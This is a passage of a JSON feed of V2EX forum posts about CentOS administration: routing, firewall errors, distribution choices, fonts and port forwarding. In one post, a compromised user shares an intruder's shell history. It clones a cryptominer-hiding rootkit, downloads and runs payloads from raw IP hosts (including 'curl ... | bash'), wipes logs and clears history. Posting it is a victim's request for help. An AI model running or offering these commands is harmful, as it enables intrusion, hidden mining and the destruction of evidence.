      "content_html": "\u76ee\u524d\u624b\u91cc\u4e00\u53f0\u6234\u5c14\u7684\u670d\u52a1\u5668\uff0c\u652f\u6301 4 \u4e2a\u7f51\u53e3\u3002<br />\u73b0\u5728\u7ed9\u4e86\u6211\u4e09\u4e2a\u516c\u7f51 ip \uff0c\u6bcf\u4e2a\u5730\u5740\u7684\u7f51\u5173\u90fd\u4e0d\u540c\uff0c\u5982\u4e0b\u793a\u4f8b\uff1a<br />\u79fb\u52a8\uff1a111.111.111.111 \u7f51\u5173\uff1a111.111.111.110<br />\u8054\u901a\uff1a222.222.222.222 \u7f51\u5173\uff1a222.222.222.220<br />\u7535\u4fe1\uff1a189.189.189.189 \u7f51\u5173\uff1a189.189.189.190<br /><br />\u670d\u52a1\u5668\u64cd\u4f5c\u7cfb\u7edf\u4e3a centos6.5 \uff0c<br />\u73b0\u5728\u628a\u4e09\u6839\u7f51\u7ebf\u5206\u522b\u63d2\u5728\u670d\u52a1\u5668\u7684\u7f51\u53e3\u4e0a\uff0c\u7cfb\u7edf\u4e09\u4e2a\u7f51\u5361\u4e5f\u5206\u522b\u914d\u7f6e\u5b8c\u6bd5 eth0-2 \u3002<br />\u73b0\u5728\u5982\u679c\u542f\u7528\u4e09\u4e2a\u7f51\u5361\uff0c\u90a3\u4e48\u53ea\u6709\u4e00\u4e2a\u7f51\u5361\u7684\u914d\u7f6e\u4f1a\u751f\u6548\u3002\u7136\u540e\u518d\u5bf9\u8def\u7531\u548c\u89c4\u5219\u8fdb\u884c\u914d\u7f6e\uff0c\u4f46\u662f\u65e0\u6548\uff08\u53ef\u80fd\u662f\u6211\u914d\u7f6e\u9519\u4e86\uff1f\uff09<br /><br />\u73b0\u5728\u7684\u9700\u6c42\u5c31\u662f\u53ef\u4ee5\u901a\u8fc7\u4e09\u4e2a\u5730\u5740\u540c\u65f6\u8bbf\u95ee\u5230\u8fd9\u53f0\u670d\u52a1\u5668\u5373\u53ef\uff0c\u624b\u91cc\u4e5f\u6ca1\u6709\u5176\u4ed6\u7684\u4ea4\u6362\u8bbe\u5907\u4e86\uff0c\u6c42\u52a9\u4e07\u80fd\u7684 V \u53cb\uff0c\u4e0d\u80dc\u611f\u6fc0\u3002", 
      "date_published": "2023-10-29T06:33:44+00:00", 
      "title": "[\u6c42\u52a9]centos 6.5 \u914d\u7f6e\u591a\u4e2a\u516c\u7f51 ip", 
      "id": "https://www.v2ex.com/t/986426"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/leifv", 
        "name": "leifv", 
        "avatar": "https://cdn.v2ex.com/avatar/6a36/3f9d/649143_large.png?m=1696671681"
      }, 
      "url": "https://www.v2ex.com/t/980137", 
      "date_modified": "2023-10-10T23:15:29+00:00", 
      "content_html": "<p>\u73b0\u5728\u4e86\u89e3\u5230\u7684\u6709\uff1a\nOracle  Linux\nOpenEuler\n\u7edf\u4fe1 UOS\n\u4e2d\u6807\u9e92\u9e9f\n\u94f6\u6cb3\u9e92\u9e9f\nRocky Linux\nubuntu22\nanolis8.6</p>\n", 
      "date_published": "2023-10-09T02:37:35+00:00", 
      "title": "\u5982\u679c centos7 \u7248\u672c\u4e5f\u505c\u66f4\u4e86\uff0c\u66ff\u4ee3\u65b9\u6848\u8fd8\u6709\u54ea\u4e9b", 
      "id": "https://www.v2ex.com/t/980137"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/2NUT", 
        "name": "2NUT", 
        "avatar": "https://cdn.v2ex.com/avatar/eadd/4c13/561069_large.png?m=1670342453"
      }, 
      "url": "https://www.v2ex.com/t/957139", 
      "date_modified": "2023-07-16T06:27:52+00:00", 
      "content_html": "<p>\u6700\u8fd1\u624d\u770b\u5230\u8fd9\u4e2a\u4e8c\u5341\u591a\u5929\u524d\u7684\u6d88\u606f\u3002</p>\n<ol>\n<li>\n<p>\u4e4b\u524d almalinux \u6216\u8005 oracle linux \u6216\u8005 rockylinux \u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7 rhel \u516c\u5e03\u7684\u6e90\u7801\u6784\u5efa\u5b8c\u5168 1\uff1a1 \u7b49\u4ef7\u7684 rhel \u514d\u8d39\u53d1\u884c\u7248</p>\n</li>\n<li>\n<p>\u73b0\u5728\u7ea2\u5e3d\u51b3\u5b9a\u4e0d\u516c\u5f00 rhel \u53d1\u884c\u7248\u4e86\uff0c\u4f60\u4f1a\u95ee\u8fd9\u4e0d\u8fdd\u53cd gpl \u534f\u8bae\u4e48\uff1f \u4e0d\u8fdd\u53cd\uff0c\u56e0\u4e3a gpl  \u4e4b\u89c4\u5b9a\u4f60\u5206\u53d1\u4e8c\u8fdb\u5236\u7684\u65f6\u5019\u5fc5\u987b\u9644\u4e0a\u6e90\u4ee3\u7801\uff0c\u73b0\u5728\u4f60\u4e0d\u82b1\u94b1\u5c31\u65e0\u6cd5\u83b7\u5f97 rhel \uff0c\u800c\u82b1\u4e86\u94b1\u7684\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u7ea2\u5e3d\u7684 portal \u534f\u8bae\u83b7\u5f97\u6e90\u4ee3\u7801\uff0c\u5bf9\u4e86\u901a\u8fc7 portal \u83b7\u53d6\u7684\u6e90\u7801\u76f4\u63a5\u6784\u5efa\u662f\u8fdd\u53cd\u7ea2\u5e3d\u534f\u8bae\u7684\u3002</p>\n</li>\n<li>\n<p>\u7ed3\u5408\u53bb\u5e74\u9ad8\u62db\uff0ccentos \u76f4\u63a5\u6210\u4e3a\u4e2d\u6e38 stream \uff0c\u4e5f\u5c31\u662f fedora \u8d1f\u8d23\u793e\u533a\u5feb\u901f\u8fed\u4ee3\uff0ccentos stream \u7684\u4ee3\u7801\u5b8c\u5168\u516c\u5f00\uff0c\u4f46\u662f \u6211 rhel \u867d\u7136\u662f\u57fa\u4e8e stream \u7684\u4ee3\u7801\u5e93\uff0c\u4f46\u6211\u73b0\u5728\u4e0d\u516c\u5f00\u4e86\uff0c\u4f60\u60f3\u8981\u767d\u5ad6\u6211\uff0c\u4f60\u81ea\u5df1\u53bb stream \u4ee3\u7801\u5e93\u91cc\u6784\u5efa\uff0c\u6211\u5b8c\u5168\u9075\u5faa\u5f00\u653e\u6e90\u7801\u7684\u89c4\u5b9a\uff0c\u4f46\u662f\u60f3 1\uff1a1 \u4e8c\u8fdb\u5236\u517c\u5bb9\uff0c\u4f60\u81ea\u5df1\u53bb stream \u6eda\u52a8\u7248\u672c\u91cc\u63d0\u53d6\u5427\u3002</p>\n</li>\n<li>\n<p>\u6709\u4eba\u8bf4 \u6e90\u7801 \u7b49\u4ef7 \u548c \u4e8c\u8fdb\u5236\u7b49\u4ef7\u6709\u5565\u533a\u522b\uff0c\u4e3b\u8981\u5c31\u5728\u4e8e \u5b89\u5168\u66f4\u65b0 \u548c\u7ef4\u62a4\u7684\u8f6f\u4ef6\u5305\uff0c\u5728\u6eda\u52a8\u53d1\u884c\u7248\u672c\u91cc\u53ea\u5b58\u5728\u6700\u65b0\u7684\u7248\u672c \u8fd9\u91cc\u9762\u662f\u4e0d\u5305\u542b\u5546\u4e1a\u52a0\u62a4\u7ef4\u62a4\u7684\u90a3\u4e9b bugfix \u7684\u3002</p>\n</li>\n</ol>\n<p>\u611f\u6168\u6cd5\u52a1\u771f\u7684\u4f1f\u5927\u503c\u94b1\uff0c\u65e9\u5e94\u8be5\u8fd9\u4e48\u5e72\u4e86\u3002\n\u7b2c\u4e00\u6b65\u6536\u8d2d centos \uff0c\u6d88\u706d centoos \uff1b \u7b2c\u4e8c\u6b65 \u521b\u5efa centos stream \u6eda\u52a8\u53d1\u884c\u7248\u6210\u4e3a rhel \u4e2d\u6e38\uff1b \u7b2c\u4e09\u6b65\uff0c\u901a\u8fc7\u6cd5\u5f8b\u6761\u6b3e\u76f4\u63a5\u9650\u5236 \u7b2c\u4e09\u65b9 \u57fa\u4e8e srpm \u6784\u5efa\u4e8c\u8fdb\u5236\u7b49\u4ef7\u7684\u53d1\u884c\u7248\uff1b \u7b2c\u56db\u6b65\uff0c\u5ba3\u5e03\u4e2a\u4eba\u7528\u6237\u514d\u8d39\u53ef\u4ee5\u4f7f\u7528 16 \u53f0 rhel \u7684\u6388\u6743</p>\n<p>cite: </p>\n<p><a href=\"https://www.reddit.com/r/AlmaLinux/comments/14fcj4h/centos_stream_will_now_be_the_sole_repository_for/\" rel=\"nofollow\">https://www.reddit.com/r/AlmaLinux/comments/14fcj4h/centos_stream_will_now_be_the_sole_repository_for/</a>\n<a href=\"https://juejin.cn/post/7238772205515997245\" rel=\"nofollow\">https://juejin.cn/post/7238772205515997245</a></p>\n<p>\u4e0a\u9762\u8fd9\u4e2a\u6398\u91d1\u7684\u5173\u4e8e redhat \u5458\u5de5\u7684\u91c7\u8bbf\u771f\u5b9e\u7edd\u4e86\uff0c\u4e0d\u505c\u7684\u6df7\u6dc6 \u6e90\u7801\u7b49\u4ef7 \u548c \u4e8c\u8fdb\u5236\u7b49\u4ef7\u8fd9\u4ef6\u4e8b\uff0c\u582a\u79f0\u7edd\u6740\uff0c\u751a\u81f3\u5728\u9053\u5fb7\u5c42\u9762\u90fd\u65e0\u6cd5\u6307\u6458\u3002</p>\n", 
      "date_published": "2023-07-16T06:18:04+00:00", 
      "title": "[\u5b9e\u5728\u662f\u9ad8] redha \u76f4\u63a5\u6d88\u706d\u4e86\u514d\u8d39\u7684\u4e8c\u8fdb\u5236\u517c\u5bb9\u7684 rhel \u53d1\u884c\u7248", 
      "id": "https://www.v2ex.com/t/957139"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wolfcdd", 
        "name": "wolfcdd", 
        "avatar": "https://cdn.v2ex.com/gravatar/98a6de7166e299f5383adf4435b37466?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/919057", 
      "date_modified": "2023-02-25T00:55:03+00:00", 
      "content_html": "\u6709\u6ca1\u6709\u5927\u795e\u77e5\u9053\u600e\u4e48\u56de\u4e8b\uff0c\u6216\u8005\u80fd\u5426\u91cd\u88c5 firewall<br /><br /><br />[root@localhost]# firewall-cmd --list-all-zones<br />block<br />  target: %%REJECT%%<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />dmz<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />docker<br />  target: ACCEPT<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />drop<br />  target: DROP<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />external<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />home<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />internal<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />public<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />trusted<br />  target: ACCEPT<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />work<br />  target: default<br />  icmp-block-inversion: no<br />  interfaces: <br />  sources: <br />  services: <br />  ports: <br />  protocols: <br />  masquerade: no<br />  forward-ports: <br />  source-ports: <br />  icmp-blocks: <br />  rich rules: <br /><br /><br />[root@localhost]# firewall-cmd --get-default-zone<br /><br />[root@localhost]# firewall-cmd --get-active-zones<br />[root@localhost]# firewall-cmd --info-zone=all<br />Error: INVALID_ZONE: all", 
      "date_published": "2023-02-25T00:54:03+00:00", 
      "title": "Centos 7.9 firewall \u62a5\u9519", 
      "id": "https://www.v2ex.com/t/919057"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/iSNN", 
        "name": "iSNN", 
        "avatar": "https://cdn.v2ex.com/avatar/287e/b10d/467942_large.png?m=1671202177"
      }, 
      "url": "https://www.v2ex.com/t/916975", 
      "title": "Linux \u5b57\u4f53\u4e0d\u5b9a\u671f\u5931\u6548\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/916975", 
      "date_published": "2023-02-17T07:59:28+00:00", 
      "content_html": "\u53d1\u884c\u7248\u662f centos 7.5<br />\u6587\u6863\u9884\u89c8\u529f\u80fd\uff0c\u8fd0\u884c\u4e86 office \u8f6c pdf \u7684\u670d\u52a1\u7528\u7684 libreoffice \uff0c\u5176\u4e2d\u9700\u8981\u4e00\u4e9b\u4e2d\u6587\u5b57\u4f53<br />\u5b57\u4f53\u4e0b\u8f7d\u5b89\u88c5\u5b8c\u540e \u8fd0\u884c\u6b63\u5e38<br /><br />\u8fd0\u884c\u4e00\u6bb5\u65f6\u95f4\u540e\uff0c\u5b57\u4f53\u5c31\u5931\u6548\uff0c\u6ca1\u6709\u53d1\u73b0\u89c4\u5f8b\u3002\u6700\u8fd1 3 \u5929\u5185\u51fa\u73b0\u4e86\u4e24\u6b21\uff0c\u4f46\u8fd9\u4e24\u6b21\u524d\u5df2\u7ecf\u6709\u4e00\u5e74\u591a\u6ca1\u6709\u51fa\u73b0\u4e86\u3002<br />\u8f6c\u6210\u7684 pdf \u6ca1\u6709\u7684\u5b57\u4f53\u5c31\u662f\u767d\u6846\uff0c\u7528 fc-list :lang=zh \u663e\u793a\u7684\u5df2\u5b89\u88c5\u5b57\u4f53\u662f\u6709\u7684\uff0c\u4f46\u662f\u518d\u6267\u884c\u76f8\u5173\u5b57\u4f53\u5b89\u88c5\u547d\u4ee4 mkfontscale mkfontdir fc-cache \u540e\uff0c\u8f6c\u7684 pdf \u6062\u590d\u6b63\u5e38\u3002<br /><br />\u8fd9\u524d\u540e\u4f7f\u7528 fc-list :lang=zh \u6240\u5217\u51fa\u7684\u5df2\u5b89\u88c5\u5b57\u4f53\u6ca1\u6709\u53d8\u5316<br /><br />\u6b64\u670d\u52a1\u5668\u4e0a\u8fd8\u8fd0\u884c\u4e86\u4e00\u4e2a ocr \u7684\u670d\u52a1\uff0c\u6b64\u5916\u5c31\u6ca1\u6709\u5176\u4ed6\u4e1c\u897f\u4e86\u3002<br />ocr \u7684\u662f python \u5199\u7684\uff0c\u4e0d\u662f\u6211\u8d1f\u8d23\u7684\uff0c\u4f46\u662f\u8fd9\u4e2a\u670d\u52a1\u5df2\u7ecf\u7a33\u5b9a\u4e0b\u6765\u5f88\u65e7\u6ca1\u6709\u66f4\u65b0\u8fc7\uff0c\u91cc\u9762\u9875\u6ca1\u6709\u52a8\u7cfb\u7edf\u914d\u7f6e\u7684\u4ee3\u7801\u3002<br /><br />\u5e0c\u671b\u5927\u4f6c\u80fd\u591f\u6307\u70b9\u4e0b"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/quadrapop", 
        "name": "quadrapop", 
        "avatar": "https://cdn.v2ex.com/avatar/f58c/dcfc/361131_large.png?m=1669968925"
      }, 
      "url": "https://www.v2ex.com/t/899648", 
      "title": "[\u6c42\u52a9] \u7cfb\u7edf\u4e2d\u6bd2\u4e86\uff0c\u627e\u5230\u4e86\u8fdb\u7a0b\u548c\u6587\u4ef6\uff0c\u65e0\u6cd5\u6740\u6b7b\u548c\u5220\u9664", 
      "id": "https://www.v2ex.com/t/899648", 
      "date_published": "2022-12-02T08:30:34+00:00", 
      "content_html": "<h2>\u76f4\u63a5\u8fdb\u5165\u4e3b\u9898</h2>\n<h2>\u64cd\u4f5c\u65e5\u5fd7</h2>\n<pre><code>1  export TERM=xterm\n    2  top\n    3  /usr/lib/sys/rcu_bj \n    4  cd /usr/lib/sys/\n    5  ls\n    6  chmod +x rcu_bj \n    7  ./rcu_bj \n    8  chattr -ia rcu_bj\n    9  ./rcu_bj \n   10  cd /\n   11  mkdir .a\n   12  cd .a\n   13  git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit.git\n   14  cd hiding-cryptominers-linux-rootkit/\n   15  ls\n   16  make\n   17  dmesg\n   18  dmesg -C\n   19  ls\n   20  make\n   21  ls\n   22  make\n   23  make\n   24  cd ..\n   25  rm -rf hiding-cryptominers-linux-rootkit/\n   26  curl -LO http://1.234.16.54:7070/apiapi/api/raw/master/s.zip;mv s.zip rcu;chmod +x rcu\n   27  ./rcu \n   28  top\n   29  rm -rf /var/log/*\n   30  cat /dev/null &gt; ~/.bash_history\n   31  id\n   32  curl http://123.30.179.206:8189/solr/.v7/api | bash   \n   33  ps auxw --sort=%cpu|tail -10\n   34  lscpu\n   35  ps auxw --sort=%cpu|tail -10\n   36  ps auxw --sort=%cpu|tail -10\n   37  ps auxw --sort=%cpu|tail -10\n   38  ps aux | grep rcu\n   39  python -c 'import pty; pty.spawn(\"/bin/bash\")'\n</code></pre>\n<h3>\u5e2e\u5fd9\u89e3\u8bfb\u4e0b\u8fd9\u6bb5\u811a\u672c\u90fd\u5e72\u561b\u4e86-_-</h3>\n<p><a href=\"hiding-cryptominers-linux-rootkit\" rel=\"nofollow\">https://github.com/alfonmga/hiding-cryptominers-linux-rootkit</a></p>\n<h3>\u4e0b\u8f7d\u7684\u8fd9\u4e2a\u811a\u672c\u770b\u7528\u9014\u662f\u7528\u6765\u9690\u85cf\u6587\u4ef6\u5939\u548c\u8fdb\u7a0b\u7684</h3>\n<h3>3 \u4e2a\u53ef\u7591\u6587\u4ef6\u770b\u8d77\u6765\u6ca1\u6709\u9690\u85cf\u6587\u4ef6\u5c5e\u6027\uff0c\u4f46\u662f\u65e0\u6cd5\u5220\u9664</h3>\n<pre><code>[root@localhost profile.d]# cd /usr/lib/sys\n[root@localhost sys]# ll\n\u603b\u7528\u91cf 8\n-rwxr-x--x 1 root confluence    0 12 \u6708  1 18:38 rcu_bj\n-rwxr-x--- 1 root confluence 2786 11 \u6708 14 11:01 rcu_libk\n-rwxrwx--- 1 root root       1199 11 \u6708 14 11:01 rcu_udev\n-rwxr-x--- 1 root confluence    0 11 \u6708 14 18:02 systemd\n[root@localhost sys]# lsattr rcu_bj\n---------------- rcu_bj\n\u60a8\u5728 /var/spool/mail/root \u4e2d\u6709\u90ae\u4ef6\n[root@localhost sys]# lsattr rcu_libk\n---------------- rcu_libk\n[root@localhost sys]# lsattr rcu_undev\nlsattr: \u6ca1\u6709\u90a3\u4e2a\u6587\u4ef6\u6216\u76ee\u5f55 \u5f53\u5c1d\u8bd5\u5bf9 rcu_undev \u8fdb\u884c stat \u8c03\u7528\u65f6\n[root@localhost sys]# lsattr rcu_udev\n---------------- rcu_udev\n</code></pre>\n<h3>\u8fdb\u7a0b\u4e5f\u6740\u4e0d\u6b7b</h3>\n<pre><code>[root@localhost sys]# ps -ef|grep rcu\nroot          8      2  0 4 \u6708 13 ?       00:00:06 [rcu_bh]\nroot          9      2  0 4 \u6708 13 ?       22:01:59 [rcu_sched]\nroot     168224 243031  0 16:28 pts/24   00:00:00 grep --color=auto rcu\n</code></pre>\n<h3>\u5404\u4f4d\u5927\u4f6c\u63a5\u4e0b\u6765\u5e94\u8be5\u600e\u4e48\u529e\u5440</h3>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/gongquanlin", 
        "name": "gongquanlin", 
        "avatar": "https://cdn.v2ex.com/avatar/3e37/eb2d/278470_large.png?m=1694084194"
      }, 
      "url": "https://www.v2ex.com/t/872982", 
      "title": "centos \u4e0d\u7ef4\u62a4\u540e\uff0c\u8fd8\u6709\u54ea\u4e9b\u597d\u7684 server \u7aef os \u53ef\u4ee5\u66ff\u4ee3 centos\uff1f", 
      "id": "https://www.v2ex.com/t/872982", 
      "date_published": "2022-08-15T07:10:17+00:00", 
      "content_html": "<p>centos8 \u505c\u6b62\u7ef4\u62a4\u5df2\u7ecf 1 \u5e74\u4e86\uff0c\u751f\u4ea7\u4e0a\u66ff\u4ee3 centos \u7684\u8fd8\u6709\u54ea\u4e9b\u7cfb\u7edf\u6bd4\u8f83\u5408\u9002\uff1f debian \u3001ubuntu server \u3001\u8fd8\u662f\u5176\u4ed6\u4ec0\u4e48\u7cfb\u7edf\u5462~</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/PEax", 
        "name": "PEax", 
        "avatar": "https://cdn.v2ex.com/gravatar/12d3a4f66e62d4fe70f4cf7ad455410d?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/865272", 
      "date_modified": "2022-07-10T09:49:10+00:00", 
      "content_html": "\u8d2d\u4e70\u7684 vps \uff0c\u56e0\u4e3a\u8981\u914d\u7f6e PMTA5 stmp \u670d\u52a1\uff0c\u56e0\u4e3a\u7f51\u5361\u5bfc\u81f4\u53ea\u80fd\u914d\u7f6e 10.0.38.2 \u8fd9\u4e2a\u5c40\u57df\u7f51 ip \uff0c\u770b\u53d1\u9001\u65e5\u5fd7\u8d85\u65f6<br />10.0.9.2 &gt;&gt;&gt; 94.23.206.89 \u80af\u5b9a\u662f\u4e0d\u884c\u7684\uff0c\u6c42\u89e3\u7b54\uff0c\u7422\u78e8\u4e86\u4e24\u5929<br />2022-07-0913:28:48 Timed out,status ETIMEDOUT while connecting from mydomain (10.0.9.2)to <a target=\"_blank\" href=\"http://reception.mail-tester.com\" rel=\"nofollow noopener\">reception.mail-tester.com</a><br />(94.23.206.89)(5x)<br /><br />\u67e5\u770b\u7f51\u5361\u914d\u7f6e\u5982\u4e0b\uff1a<br /><br />eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br />        inet 10.0.38.2  netmask 255.255.255.0  broadcast 10.0.38.255<br />        inet6 fe80::76b5:36ff:fe00:5a  prefixlen 64  scopeid 0x20&lt;link&gt;<br />        ether 74:b5:36:00:00:5a  txqueuelen 1000  (Ethernet)<br />        RX packets 8439  bytes 825619 (806.2 KiB)<br />        RX errors 0  dropped 0  overruns 0  frame 0<br />        TX packets 8406  bytes 1215975 (1.1 MiB)<br />        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<br /><br />lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536<br />        inet 127.0.0.1  netmask 255.0.0.0<br />        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;<br />        loop  txqueuelen 1000  (Local Loopback)<br />        RX packets 0  bytes 0 (0.0 B)<br />        RX errors 0  dropped 0  overruns 0  frame 0<br />        TX packets 0  bytes 0 (0.0 B)<br />        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0", 
      "date_published": "2022-07-10T09:48:50+00:00", 
      "title": "\u8bf7\u6559 vps \u5185\u5916\u7f51\u5361\u5747\u663e\u793a\u5185\u7f51 ip \u5730\u5740\u95ee\u9898, \u5982\u4f55\u4fee\u6539", 
      "id": "https://www.v2ex.com/t/865272"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/zanxj", 
        "name": "zanxj", 
        "avatar": "https://cdn.v2ex.com/avatar/723f/7563/281768_large.png?m=1668835027"
      }, 
      "url": "https://www.v2ex.com/t/848980", 
      "title": "Cockpit \u81ea\u52a8\u767b\u5f55\u4e8c\u7ea7\u670d\u52a1\u5668\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/848980", 
      "date_published": "2022-04-24T10:10:06+00:00", 
      "content_html": "\u6709\u4e00\u53f0 Cockpit \u4e3b\u670d\u52a1\u5668\uff0c\u5728\u4eea\u8868\u677f\u4e0a\u6dfb\u52a0\u4e86\u82e5\u5e72\u53f0\u4e8c\u7ea7\u670d\u52a1\u5668\uff0c\u5e76\u5728\u4e8c\u7ea7\u670d\u52a1\u5668\u5f00\u542f\u4e86\u5bc6\u94a5\u8ba4\u8bc1\u3002<br />\u73b0\u5728\u7684\u95ee\u9898\u662f\u5728 Cockpit \u4e3b\u670d\u52a1\u5668\u6bcf\u6b21\u6ce8\u9500\u767b\u5f55\u540e\uff0c\u518d\u6b21\u767b\u5f55\u9700\u8981\u624b\u52a8\u53bb\u5f00\u542f\u5bc6\u94a5\u9a8c\u8bc1\uff08\u987b\u624b\u52a8\u8f93\u5165\u4e3b\u670d\u52a1\u5668\u7528\u6237\u5bc6\u7801\uff09\uff0c\u624d\u80fd\u53bb\u67e5\u770b\u4e8c\u7ea7\u670d\u52a1\u5668\u8fd0\u884c\u72b6\u51b5\u3002\u6709\u4ec0\u4e48\u65b9\u6cd5\u4e0d\u9700\u8981\u6bcf\u6b21\u767b\u5f55\u540e\u624b\u52a8\u518d\u6b21\u5f00\u542f\u9a8c\u8bc1\uff1f\u67e5\u770b\u4e86 Google \u767e\u5ea6\u90fd\u6ca1\u6709\u627e\u5230\u89e3\u7b54\uff0c\u5e0c\u671b\u5927\u5bb6\u4e0d\u541d\u8d50\u6559\uff01<br /><a target=\"_blank\" href=\"https://i.imgur.com/HWaXAj0.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/HWaXAj0.png\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/dtgxx", 
        "name": "dtgxx", 
        "avatar": "https://cdn.v2ex.com/gravatar/0d477d0a6d67ec2d7eeb09a3fe544a5a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/842702", 
      "date_modified": "2022-04-12T11:23:20+00:00", 
      "content_html": "\u6211\u672c\u5730\u8bbf\u95ee\u4e0d\u5230 mongodb \uff0c\u4e91\u670d\u52a1\u5668\u7684 centos \u53ef\u4ee5\u8bbf\u95ee\u5230\u90a3\u53f0 mongodb \uff08 centos \u548c mongodb \u4e0d\u662f\u4e00\u53f0\u673a\u5668\uff0c\u4f46\u662f\u7f51\u7edc\u4e92\u901a\uff09\uff0c\u6211\u5982\u4f55\u5728\u672c\u5730\u5b9e\u73b0\u901a\u8fc7\u4e91\u670d\u52a1\u5668 IP+\u7aef\u53e3\uff0c\u8bbf\u95ee mongodb \u5462\uff0c\u5728 centos \u53ef\u4ee5\u505a\u4e2a\u7aef\u53e3\u8f6c\u53d1\u529f\u80fd\u5417\uff1f", 
      "date_published": "2022-03-24T12:02:44+00:00", 
      "title": "centos \u5982\u4f55\u505a\u4e2a\u7aef\u53e3\u6620\u5c04\uff1f", 
      "id": "https://www.v2ex.com/t/842702"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/v2000000001ex", 
        "name": "v2000000001ex", 
        "avatar": "https://cdn.v2ex.com/gravatar/f1fcddce932d95da0c6cb37561f33de2?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/818296", 
      "title": "centos 8 rc.local \u4e0d\u80fd\u6b63\u5e38\u5de5\u4f5c", 
      "id": "https://www.v2ex.com/t/818296", 
      "date_published": "2021-11-27T00:29:34+00:00", 
      "content_html": "vps \u4e0a\u62d6\u7684 centos8.4 \uff0c \u52a0\u4e86\u6267\u884c\u6743\u9650\uff0c\u91cd\u542f\u53d1\u73b0 rc.local \u4e0d\u80fd\u6b63\u5e38\u5de5\u4f5c\u3002"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/dLvsYgJ8fiP8TGYU", 
        "name": "dLvsYgJ8fiP8TGYU", 
        "avatar": "https://cdn.v2ex.com/gravatar/607fce1c8b4ec26e668a392133c3e473?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/816697", 
      "title": "CentOS \u5982\u4f55\u521b\u5efa\u4e00\u4e2a\u7528\u6237\uff0c\u53ea\u5141\u8bb8\u8be5\u7528\u6237\uff08\u53ea\u8bfb\uff09\u8bbf\u95ee\u7279\u5b9a\u6587\u4ef6\u5939\u4e0b\u7684\u6587\u4ef6\uff0c\u5176\u4ed6\u6587\u4ef6\u5747\u5bf9\u5176\u4e0d\u53ef\u89c1", 
      "id": "https://www.v2ex.com/t/816697", 
      "date_published": "2021-11-20T00:59:52+00:00", 
